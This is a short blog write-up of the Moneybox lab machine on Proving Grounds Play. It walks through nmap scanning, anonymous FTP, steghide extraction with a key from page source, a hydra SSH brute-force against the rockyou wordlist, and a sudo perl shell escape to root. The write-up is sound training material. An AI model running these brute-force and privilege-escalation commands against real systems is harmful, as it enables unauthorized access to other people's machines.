Proving grounds Play: Moneybox

Tuesday. September 12, 2023 - 2 mins

Nmap

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0         1093656 Feb 26  2021 trytofind.jpg
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.45.153
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 1e30ce7281e0a23d5c28888b12acfaac (RSA)
|   256 019dfafbf20637c012fc018b248f53ae (ECDSA)
|_  256 2f34b3d074b47f8d17d237b12e32f7eb (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: MoneyBox
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Fuzzing: Directories

/blogs

Landing page

View-source disclosed a hint about the secret directory

<!--the hint is the another secret directory is S3cr3t-T3xt-->

The secret directory source disclosed a secret key <!..Secret Key 3xtr4ctd4t4 >.

FTP

FTP allows anonymous login.

Download the image file and use the secretkey found earlier as password to extract information.

steghide extract -sf trytofind.jpg

A file names data.txt has been written to the same directory, that contains hint about the user and password.

Hello.....  renu

      I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......

Crack SSH credentials using hydra

hydra -l renu -P /usr/share/wordlists/rockyou.txt 192.168.180.230 -t 4 ssh

SSH to user renu using the password.

Initial Foothold obtained

After searching the directoriees in renu user ,an another user was found in the /home directory lily.

The user lily has a SSH authorized key which belongs to the user renu, SSH to user lily from user renu.

Enumerate user permission

sudo -l

Privilege Escalation

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo perl -e 'exec "/bin/sh";'

Root Obtained

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast